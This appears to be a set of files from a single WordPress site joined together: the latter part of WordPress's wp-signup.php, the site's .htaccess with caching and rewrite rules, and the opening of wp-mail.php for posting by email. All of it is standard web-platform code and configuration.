* @param WP_Error $errors A WP_Error object containing 'user_name' or 'user_email' errors.
*/
do_action( 'signup_extra_fields', $errors );
}
/**
* Validates user sign-up name and email.
*
* @since MU (3.0.0)
*
* @return array Contains username, email, and error messages.
* See wpmu_validate_user_signup() for details.
*/
function validate_user_form() {
return wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
}
/**
* Shows a form for returning users to sign up for another site.
*
* @since MU (3.0.0)
*
* @param string $blogname The new site name
* @param string $blog_title The new site title.
* @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string.
*/
function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) {
$current_user = wp_get_current_user();
if ( ! is_wp_error( $errors ) ) {
$errors = new WP_Error();
}
$signup_defaults = array(
'blogname' => $blogname,
'blog_title' => $blog_title,
'errors' => $errors,
);
/**
* Filters the default site sign-up variables.
*
* @since 3.0.0
*
* @param array $signup_defaults {
* An array of default site sign-up variables.
*
* @type string $blogname The site blogname.
* @type string $blog_title The site title.
* @type WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
* }
*/
$filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults );
$blogname = $filtered_results['blogname'];
$blog_title = $filtered_results['blog_title'];
$errors = $filtered_results['errors'];
/* translators: %s: Network title. */
echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_network()->site_name ) . '</h2>';
if ( $errors->has_errors() ) {
echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>';
}
?>
<p>
<?php
printf(
/* translators: %s: Current user's display name. */
__( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart’s content, but write responsibly!' ),
$current_user->display_name
);
?>
</p>
<?php
$blogs = get_blogs_of_user( $current_user->ID );
if ( ! empty( $blogs ) ) {
?>
<p><?php _e( 'Sites you are already a member of:' ); ?></p>
<ul>
<?php
foreach ( $blogs as $blog ) {
$home_url = get_home_url( $blog->userblog_id );
echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>';
}
?>
</ul>
<?php } ?>
<p><?php _e( 'If you are not going to use a great site domain, leave it for a new user. Now have at it!' ); ?></p>
<form id="setupform" method="post" action="wp-signup.php">
<input type="hidden" name="stage" value="gimmeanotherblog" />
<?php
/**
* Fires when hidden sign-up form fields output when creating another site or user.
*
* @since MU (3.0.0)
*
* @param string $context A string describing the steps of the sign-up process. The value can be
* 'create-another-site', 'validate-user', or 'validate-site'.
*/
do_action( 'signup_hidden_fields', 'create-another-site' );
?>
<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ); ?>" /></p>
</form>
<?php
}
/**
* Validates a new site sign-up for an existing user.
*
* @since MU (3.0.0)
*
* @global string $blogname The new site's subdomain or directory name.
* @global string $blog_title The new site's title.
* @global WP_Error $errors Existing errors in the global scope.
* @global string $domain The new site's domain.
* @global string $path The new site's path.
*
* @return null|bool True if site signup was validated, false on error.
* The function halts all execution if the user is not logged in.
*/
function validate_another_blog_signup() {
global $blogname, $blog_title, $errors, $domain, $path;
$current_user = wp_get_current_user();
if ( ! is_user_logged_in() ) {
die();
}
$result = validate_blog_form();
// Extracted values set/overwrite globals.
$domain = $result['domain'];
$path = $result['path'];
$blogname = $result['blogname'];
$blog_title = $result['blog_title'];
$errors = $result['errors'];
if ( $errors->has_errors() ) {
signup_another_blog( $blogname, $blog_title, $errors );
return false;
}
$public = (int) $_POST['blog_public'];
$blog_meta_defaults = array(
'lang_id' => 1,
'public' => $public,
);
// Handle the language setting for the new site.
if ( ! empty( $_POST['WPLANG'] ) ) {
$languages = signup_get_available_languages();
if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );
if ( $language ) {
$blog_meta_defaults['WPLANG'] = $language;
}
}
}
/**
* Filters the new site meta variables.
*
* Use the {@see 'add_signup_meta'} filter instead.
*
* @since MU (3.0.0)
* @deprecated 3.0.0 Use the {@see 'add_signup_meta'} filter instead.
*
* @param array $blog_meta_defaults An array of default blog meta variables.
*/
$meta_defaults = apply_filters_deprecated( 'signup_create_blog_meta', array( $blog_meta_defaults ), '3.0.0', 'add_signup_meta' );
/**
* Filters the new default site meta variables.
*
* @since 3.0.0
*
* @param array $meta {
* An array of default site meta variables.
*
* @type int $lang_id The language ID.
* @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false.
* }
*/
$meta = apply_filters( 'add_signup_meta', $meta_defaults );
$blog_id = wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, get_current_network_id() );
if ( is_wp_error( $blog_id ) ) {
return false;
}
confirm_another_blog_signup( $domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta, $blog_id );
return true;
}
/**
* Shows a message confirming that the new site has been created.
*
* @since MU (3.0.0)
* @since 4.4.0 Added the `$blog_id` parameter.
*
* @param string $domain The domain URL.
* @param string $path The site root path.
* @param string $blog_title The site title.
* @param string $user_name The username.
* @param string $user_email The user's email address.
* @param array $meta Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
* @param int $blog_id The site ID.
*/
function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array(), $blog_id = 0 ) {
if ( $blog_id ) {
switch_to_blog( $blog_id );
$home_url = home_url( '/' );
$login_url = wp_login_url();
restore_current_blog();
} else {
$home_url = 'http://' . $domain . $path;
$login_url = 'http://' . $domain . $path . 'wp-login.php';
}
$site = sprintf(
'<a href="%1$s">%2$s</a>',
esc_url( $home_url ),
$blog_title
);
?>
<h2>
<?php
/* translators: %s: Site title. */
printf( __( 'The site %s is yours.' ), $site );
?>
</h2>
<p>
<?php
printf(
/* translators: 1: Link to new site, 2: Login URL, 3: Username. */
__( '%1$s is your new site. <a href="%2$s">Log in</a> as “%3$s” using your existing password.' ),
sprintf(
'<a href="%s">%s</a>',
esc_url( $home_url ),
untrailingslashit( $domain . $path )
),
esc_url( $login_url ),
$user_name
);
?>
</p>
<?php
/**
* Fires when the site or user sign-up process is complete.
*
* @since 3.0.0
*/
do_action( 'signup_finished' );
}
/**
* Shows a form for a visitor to sign up for a new user account.
*
* @since MU (3.0.0)
*
* @global string $active_signup String that returns registration type. The value can be
* 'all', 'none', 'blog', or 'user'.
*
* @param string $user_name The username.
* @param string $user_email The user's email.
* @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string.
*/
function signup_user( $user_name = '', $user_email = '', $errors = '' ) {
global $active_signup;
if ( ! is_wp_error( $errors ) ) {
$errors = new WP_Error();
}
$signup_for = isset( $_POST['signup_for'] ) ? esc_html( $_POST['signup_for'] ) : 'blog';
$signup_user_defaults = array(
'user_name' => $user_name,
'user_email' => $user_email,
'errors' => $errors,
);
/**
* Filters the default user variables used on the user sign-up form.
*
* @since 3.0.0
*
* @param array $signup_user_defaults {
* An array of default user variables.
*
* @type string $user_name The user username.
* @type string $user_email The user email address.
* @type WP_Error $errors A WP_Error object with possible errors relevant to the sign-up user.
* }
*/
$filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults );
$user_name = $filtered_results['user_name'];
$user_email = $filtered_results['user_email'];
$errors = $filtered_results['errors'];
?>
<h2>
<?php
/* translators: %s: Name of the network. */
printf( __( 'Get your own %s account in seconds' ), get_network()->site_name );
?>
</h2>
<form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate">
<input type="hidden" name="stage" value="validate-user-signup" />
<?php
/** This action is documented in wp-signup.php */
do_action( 'signup_hidden_fields', 'validate-user' );
?>
<?php show_user_form( $user_name, $user_email, $errors ); ?>
<?php if ( 'blog' === $active_signup ) : ?>
<input id="signupblog" type="hidden" name="signup_for" value="blog" />
<?php elseif ( 'user' === $active_signup ) : ?>
<input id="signupblog" type="hidden" name="signup_for" value="user" />
<?php else : ?>
<fieldset class="signup-options">
<legend><?php _e( 'Create a site or only a username:' ); ?></legend>
<p class="wp-signup-radio-buttons">
<span class="wp-signup-radio-button">
<input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> />
<label class="checkbox" for="signupblog"><?php _e( 'Gimme a site!' ); ?></label>
</span>
<span class="wp-signup-radio-button">
<input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> />
<label class="checkbox" for="signupuser"><?php _e( 'Just a username, please.' ); ?></label>
</span>
</p>
</fieldset>
<?php endif; ?>
<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Next' ); ?>" /></p>
</form>
<?php
}
/**
* Validates the new user sign-up.
*
* @since MU (3.0.0)
*
* @return bool True if new user sign-up was validated, false on error.
*/
function validate_user_signup() {
$result = validate_user_form();
$user_name = $result['user_name'];
$user_email = $result['user_email'];
$errors = $result['errors'];
if ( $errors->has_errors() ) {
signup_user( $user_name, $user_email, $errors );
return false;
}
if ( 'blog' === $_POST['signup_for'] ) {
signup_blog( $user_name, $user_email );
return false;
}
/** This filter is documented in wp-signup.php */
wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) );
confirm_user_signup( $user_name, $user_email );
return true;
}
/**
* Shows a message confirming that the new user has been registered and is awaiting activation.
*
* @since MU (3.0.0)
*
* @param string $user_name The username.
* @param string $user_email The user's email address.
*/
function confirm_user_signup( $user_name, $user_email ) {
?>
<h2>
<?php
/* translators: %s: Username. */
printf( __( '%s is your new username' ), $user_name )
?>
</h2>
<p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ); ?></p>
<p>
<?php
/* translators: %s: The user email address. */
printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
?>
</p>
<p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p>
<?php
/** This action is documented in wp-signup.php */
do_action( 'signup_finished' );
}
/**
* Shows a form for a user or visitor to sign up for a new site.
*
* @since MU (3.0.0)
*
* @param string $user_name The username.
* @param string $user_email The user's email address.
* @param string $blogname The site name.
* @param string $blog_title The site title.
* @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string.
*/
function signup_blog( $user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '' ) {
if ( ! is_wp_error( $errors ) ) {
$errors = new WP_Error();
}
$signup_blog_defaults = array(
'user_name' => $user_name,
'user_email' => $user_email,
'blogname' => $blogname,
'blog_title' => $blog_title,
'errors' => $errors,
);
/**
* Filters the default site creation variables for the site sign-up form.
*
* @since 3.0.0
*
* @param array $signup_blog_defaults {
* An array of default site creation variables.
*
* @type string $user_name The user username.
* @type string $user_email The user email address.
* @type string $blogname The blogname.
* @type string $blog_title The title of the site.
* @type WP_Error $errors A WP_Error object with possible errors relevant to new site creation variables.
* }
*/
$filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults );
$user_name = $filtered_results['user_name'];
$user_email = $filtered_results['user_email'];
$blogname = $filtered_results['blogname'];
$blog_title = $filtered_results['blog_title'];
$errors = $filtered_results['errors'];
if ( empty( $blogname ) ) {
$blogname = $user_name;
}
?>
<form id="setupform" method="post" action="wp-signup.php">
<input type="hidden" name="stage" value="validate-blog-signup" />
<input type="hidden" name="user_name" value="<?php echo esc_attr( $user_name ); ?>" />
<input type="hidden" name="user_email" value="<?php echo esc_attr( $user_email ); ?>" />
<?php
/** This action is documented in wp-signup.php */
do_action( 'signup_hidden_fields', 'validate-site' );
?>
<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Sign up' ); ?>" /></p>
</form>
<?php
}
/**
* Validates new site signup.
*
* @since MU (3.0.0)
*
* @return bool True if the site sign-up was validated, false on error.
*/
function validate_blog_signup() {
// Re-validate user info.
$user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
$user_name = $user_result['user_name'];
$user_email = $user_result['user_email'];
$user_errors = $user_result['errors'];
if ( $user_errors->has_errors() ) {
signup_user( $user_name, $user_email, $user_errors );
return false;
}
$result = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] );
$domain = $result['domain'];
$path = $result['path'];
$blogname = $result['blogname'];
$blog_title = $result['blog_title'];
$errors = $result['errors'];
if ( $errors->has_errors() ) {
signup_blog( $user_name, $user_email, $blogname, $blog_title, $errors );
return false;
}
$public = (int) $_POST['blog_public'];
$signup_meta = array(
'lang_id' => 1,
'public' => $public,
);
// Handle the language setting for the new site.
if ( ! empty( $_POST['WPLANG'] ) ) {
$languages = signup_get_available_languages();
if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );
if ( $language ) {
$signup_meta['WPLANG'] = $language;
}
}
}
/** This filter is documented in wp-signup.php */
$meta = apply_filters( 'add_signup_meta', $signup_meta );
wpmu_signup_blog( $domain, $path, $blog_title, $user_name, $user_email, $meta );
confirm_blog_signup( $domain, $path, $blog_title, $user_name, $user_email, $meta );
return true;
}
/**
* Shows a message confirming that the new site has been registered and is awaiting activation.
*
* @since MU (3.0.0)
*
* @param string $domain The domain or subdomain of the site.
* @param string $path The path of the site.
* @param string $blog_title The title of the new site.
* @param string $user_name The user's username.
* @param string $user_email The user's email address.
* @param array $meta Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
*/
function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) {
?>
<h2>
<?php
/* translators: %s: Site address. */
printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" )
?>
</h2>
<p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ); ?></p>
<p>
<?php
/* translators: %s: The user email address. */
printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
?>
</p>
<p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p>
<h2><?php _e( 'Still waiting for your email?' ); ?></h2>
<p><?php _e( 'If you have not received your email yet, there are a number of things you can do:' ); ?></p>
<ul id="noemail-tips">
<li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ); ?></strong></p></li>
<li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ); ?></p></li>
<li>
<?php
/* translators: %s: Email address. */
printf( __( 'Have you entered your email correctly? You have entered %s, if it’s incorrect, you will not receive your email.' ), $user_email );
?>
</li>
</ul>
<?php
/** This action is documented in wp-signup.php */
do_action( 'signup_finished' );
}
/**
* Retrieves languages available during the site/user sign-up process.
*
* @since 4.4.0
*
* @see get_available_languages()
*
* @return string[] Array of available language codes. Language codes are formed by
* stripping the .mo extension from the language file names.
*/
function signup_get_available_languages() {
/**
* Filters the list of available languages for front-end site sign-ups.
*
* Passing an empty array to this hook will disable output of the setting on the
* sign-up form, and the default language will be used when creating the site.
*
* Languages not already installed will be stripped.
*
* @since 4.4.0
*
* @param string[] $languages Array of available language codes. Language codes are formed by
* stripping the .mo extension from the language file names.
*/
$languages = (array) apply_filters( 'signup_get_available_languages', get_available_languages() );
/*
* Strip any non-installed languages and return.
*
* Re-call get_available_languages() here in case a language pack was installed
* in a callback hooked to the 'signup_get_available_languages' filter before this point.
*/
return array_intersect_assoc( $languages, get_available_languages() );
}
// Main.
$active_signup = get_site_option( 'registration', 'none' );
/**
* Filters the type of site sign-up.
*
* @since 3.0.0
*
* @param string $active_signup String that returns registration type. The value can be
* 'all', 'none', 'blog', or 'user'.
*/
$active_signup = apply_filters( 'wpmu_active_signup', $active_signup );
if ( current_user_can( 'manage_network' ) ) {
echo '<div class="mu_alert">';
_e( 'Greetings Network Administrator!' );
echo ' ';
switch ( $active_signup ) {
case 'none':
_e( 'The network currently disallows registrations.' );
break;
case 'blog':
_e( 'The network currently allows site registrations.' );
break;
case 'user':
_e( 'The network currently allows user registrations.' );
break;
default:
_e( 'The network currently allows both site and user registrations.' );
break;
}
echo ' ';
/* translators: %s: URL to Network Settings screen. */
printf( __( 'To change or disable registration go to your <a href="%s">Options page</a>.' ), esc_url( network_admin_url( 'settings.php' ) ) );
echo '</div>';
}
$newblogname = isset( $_GET['new'] ) ? strtolower( preg_replace( '/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'] ) ) : null;
$current_user = wp_get_current_user();
if ( 'none' === $active_signup ) {
_e( 'Registration has been disabled.' );
} elseif ( 'blog' === $active_signup && ! is_user_logged_in() ) {
$login_url = wp_login_url( network_site_url( 'wp-signup.php' ) );
/* translators: %s: Login URL. */
printf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url );
} else {
$stage = isset( $_POST['stage'] ) ? $_POST['stage'] : 'default';
switch ( $stage ) {
case 'validate-user-signup':
if ( 'all' === $active_signup
|| ( 'blog' === $_POST['signup_for'] && 'blog' === $active_signup )
|| ( 'user' === $_POST['signup_for'] && 'user' === $active_signup )
) {
validate_user_signup();
} else {
_e( 'User registration has been disabled.' );
}
break;
case 'validate-blog-signup':
if ( 'all' === $active_signup || 'blog' === $active_signup ) {
validate_blog_signup();
} else {
_e( 'Site registration has been disabled.' );
}
break;
case 'gimmeanotherblog':
validate_another_blog_signup();
break;
case 'default':
default:
$user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : '';
/**
* Fires when the site sign-up form is sent.
*
* @since 3.0.0
*/
do_action( 'preprocess_signup_form' );
if ( is_user_logged_in() && ( 'all' === $active_signup || 'blog' === $active_signup ) ) {
signup_another_blog( $newblogname );
} elseif ( ! is_user_logged_in() && ( 'all' === $active_signup || 'user' === $active_signup ) ) {
signup_user( $newblogname, $user_email );
} elseif ( ! is_user_logged_in() && ( 'blog' === $active_signup ) ) {
_e( 'Sorry, new registrations are not allowed at this time.' );
} else {
_e( 'You are logged in already. No need to register again!' );
}
if ( $newblogname ) {
$newblog = get_blogaddress_by_name( $newblogname );
if ( 'blog' === $active_signup || 'all' === $active_signup ) {
printf(
/* translators: %s: Site address. */
'<p>' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '</p>',
'<strong>' . $newblog . '</strong>'
);
} else {
printf(
/* translators: %s: Site address. */
'<p>' . __( 'The site you were looking for, %s, does not exist.' ) . '</p>',
'<strong>' . $newblog . '</strong>'
);
}
}
break;
}
}
?>
</div>
</div>
<?php
/**
* Fires after the sign-up forms, before wp_footer.
*
* @since 3.0.0
*/
do_action( 'after_signup_form' );
?>
<?php
get_footer( 'wp-signup' );
# BEGIN LSCACHE
# END LSCACHE
# BEGIN NON_LSCACHE
# END NON_LSCACHE
# BEGIN SpeedyCacheheaders
FileETag None
<IfModule mod_headers.c>
Header unset ETag
</IfModule>
<FilesMatch "\.(html)$">
<IfModule mod_headers.c>
Header set x-speedycache-source "Server"
Header set Cache-Tag "brainware.com.co"
Header set CDN-Cache-Control "max-age=1296000"
Header set Cache-Control "public"
Header unset Pragma
Header unset Last-Modified
</IfModule>
</FilesMatch>
<FilesMatch "\.(css|htc|js|asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|eot|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|json|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif|tiff|ttf|ttc|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$">
<IfModule mod_headers.c>
Header unset Pragma
Header set Cache-Control "public"
</IfModule>
</FilesMatch>
# END SpeedyCacheheaders
# BEGIN Gzipspeedycache
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE font/opentype
AddOutputFilterByType DEFLATE font/otf
AddOutputFilterByType DEFLATE font/ttf
AddOutputFilterByType DEFLATE font/woff
AddOutputFilterByType DEFLATE font/woff2
AddOutputFilterByType DEFLATE text/js
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/javascript
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE image/svg+xml
AddOutputFilterByType DEFLATE image/x-icon
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
AddOutputFilterByType DEFLATE application/vnd.ms-fontobject
AddOutputFilterByType DEFLATE application/x-font
AddOutputFilterByType DEFLATE application/x-font-opentype
AddOutputFilterByType DEFLATE application/x-font-otf
AddOutputFilterByType DEFLATE application/x-font-truetype
AddOutputFilterByType DEFLATE application/x-font-ttf
AddOutputFilterByType DEFLATE application/font-woff2
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/rss+xml
</IfModule>
# END Gzipspeedycache
# BEGIN LBCspeedycache
<IfModule mod_expires.c>
ExpiresActive on
ExpiresDefault A0
ExpiresByType text/css A31536000
ExpiresByType text/javascript A31536000
ExpiresByType font/ttf A31536000
ExpiresByType font/otf A31536000
ExpiresByType font/woff A31536000
ExpiresByType font/woff2 A31536000
ExpiresByType image/jpg A31536000
ExpiresByType image/jpeg A31536000
ExpiresByType image/png A31536000
ExpiresByType image/gif A31536000
ExpiresByType image/webp A31536000
ExpiresByType image/x-icon A31536000
ExpiresByType image/svg+xml A31536000
ExpiresByType image/vnd.microsoft.icon A31536000
ExpiresByType video/ogg A31536000
ExpiresByType video/mp4 A31536000
ExpiresByType video/webm A31536000
ExpiresByType audio/ogg A31536000
ExpiresByType application/pdf A31536000
ExpiresByType application/javascript A31536000
ExpiresByType application/x-javascript A31536000
ExpiresByType application/x-font-ttf A31536000
ExpiresByType application/x-font-woff A31536000
ExpiresByType application/font-woff A31536000
ExpiresByType application/font-woff2 A31536000
ExpiresByType application/vnd.ms-fontobject A31536000
</IfModule>
# END LBCspeedycache
# BEGIN WEBPspeedycache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_ACCEPT} image/webp
RewriteCond %{REQUEST_FILENAME} \.(jpe?g|png|gif)$
RewriteCond %{DOCUMENT_ROOT}/$1.webp -f
RewriteRule ^(.+)\.(jpe?g|png|gif)$ $1.webp [T=image/webp,L]
</IfModule>
<IfModule mod_headers.c>
Header append Vary Accept env=REDIRECT_accept
</IfModule>
AddType image/webp .webp
# END WEBPspeedycache
# BEGIN speedycache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{HTTP_USER_AGENT} !(Mediatoolkitbot|facebookexternalhit|SpeedyCacheCCSS)
RewriteCond %{QUERY_STRING} =""
RewriteCond %{HTTP:Cookie} !(comment_author_|wordpress_logged_in_)
RewriteCond %{REQUEST_URI} !(\/){2}$
RewriteCond %{REQUEST_URI} !^/(wp-(?:admin|login|register|comments-post|cron|json))/ [NC]
RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/speedycache/%{HTTP_HOST}/all%{REQUEST_URI}/index.html -f
RewriteRule ^(.*) /wp-content/cache/speedycache/%{HTTP_HOST}/all%{REQUEST_URI}/index.html [L]
</IfModule>
# END speedycache
# BEGIN WordPress
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress.
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
# BEGIN LiteSpeed
<IfModule Litespeed>
SetEnv noabort 1
</IfModule>
# END LiteSpeed
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php82” package as the default “PHP” programming language.
<IfModule mime_module>
AddHandler application/x-httpd-ea-php82___lsphp .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
<?php
/**
* Gets the email message from the user's mailbox to add as
* a WordPress post. Mailbox connection information must be
* configured under Settings > Writing
*
* @package WordPress
*/
/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';
/** This filter is documented in wp-admin/options.php */
if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) {
wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}
$mailserver_url = get_option( 'mailserver_url' );
if ( empty( $mailserver_url ) || 'mail.example.com' === $mailserver_url ) {
wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}
/**
* Fires to allow a plugin to do a complete takeover of Post by Email.
*
* @since 2.9.0
*/
do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
/** Get the POP3 class with which to access the mailbox. */
require_once ABSPATH . WPINC . '/class-pop3.php';
/** Only check at this interval for new messages. */
if ( ! defined( 'WP_MAIL_INTERVAL' ) ) {
define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS );
}
$last_checked = get_transient( 'mailserver_last_checked' );
if ( $last_checked ) {
wp_die(
sprintf(
// translators: %s human readable rate limit.
__( 'Email checks are rate limited to once every %s.' ),
human_time_diff( time() - WP_MAIL_INTERVAL, time() )
),
__( 'Slow down, no need to check for new mails so often!' ),
429
);
}
set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL );
$time_difference = (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
$phone_delim = '::';
$pop3 = new POP3();
if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) {
wp_die( esc_html( $pop3->ERROR ) );
}
$count = $pop3->pass( get_option( 'mailserver_pass' ) );
if ( false === $count ) {
wp_die( esc_html( $pop3->ERROR ) );
}
if ( 0 === $count ) {
$pop3->quit();
wp_die( __( 'There does not seem to be any new mail.' ) );
}
// Always run as an unauthenticated user.
wp_set_current_user( 0 );
for ( $i = 1; $i <= $count; $i++ ) {
$message = $pop3->get( $i );
$bodysignal = false;
$boundary = '';
$charset = '';
$content = '';
$content_type = '';
$content_transfer_encoding = '';
$post_author = 1;
$author_found = false;
$post_date = null;
$post_date_gmt = null;
foreach ( $message as $line ) {
// Body signal.
if ( strlen( $line ) < 3 ) {
$bodysignal = true;
}
if ( $bodysignal ) {
$content .= $line;
} else {
if ( preg_match( '/Content-Type: /i', $line ) ) {
$content_type = trim( $line );
$content_type = substr( $content_type, 14, strlen( $content_type ) - 14 );
$content_type = explode( ';', $content_type );
if ( ! empty( $content_type[1] ) ) {
$charset = explode( '=', $content_type[1] );
$charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : '';
}
$content_type = $content_type[0];
}
if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) {
$content_transfer_encoding = trim( $line );
$content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 );
$content_transfer_encoding = explode( ';', $content_transfer_encoding );
$content_transfer_encoding = $content_transfer_encoding[0];
}
if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) {
$boundary = trim( $line );
$boundary = explode( '"', $boundary );
$boundary = $boundary[1];
}
if ( preg_match( '/Subject: /i', $line ) ) {
$subject = trim( $line );
$subject = substr( $subject, 9, strlen( $subject ) - 9 );
// Captures any text in the subject before $phone_delim as the subject.
if ( function_exists( 'iconv_mime_decode' ) ) {
$subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) );
} else {
$subject = wp_iso_descrambler( $subject );
}
$subject = explode( $phone_delim, $subject );
$subject = $subject[0];
}
/*
* Set the author using the email address (From or Reply-To, the last used)
* otherwise use the site admin.
*/
if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) {
$author = $matches[0];
} else {
$author = trim( $line );
}
$author = sanitize_email( $author );
if ( is_email( $author ) ) {
$userdata = get_user_by( 'email', $author );
if ( ! empty( $userdata ) ) {
$post_author = $userdata->ID;
$author_found = true;
}
}
}
if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'.
$ddate = str_replace( 'Date: ', '', trim( $line ) );
// Remove parenthesized timezone string if it exists, as this confuses strtotime().
$ddate = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );
$ddate_timestamp = strtotime( $ddate );
$post_date = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference );
$post_date_gmt = gmdate( 'Y-m-d H:i:s', $ddate_timestamp );
}
}
}
// Set $post_status based on $author_found and on author's publish_posts capability.
if ( $author_found ) {
$user = new WP_User( $post_author );
$post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending';
} else {
// Author not found in DB, set status to pending. Author already set to admin.
$post_status = 'pending';
}
$subject = trim( $subject );
if ( 'multipart/alternative' === $content_type ) {
$content = explode( '--' . $boundary, $content );
$content = $content[2];
// Match case-insensitive Content-Transfer-Encoding.
if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) {
$content = explode( $delim[0], $content );
$content = $content[1];
}
$content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' );
}
$content = trim( $content );
/**
* Filters the original content of the email.
*
* Give Post-By-Email extending plugins full access to the content, either
* the raw content, or the content of the last quoted-printable section.
*
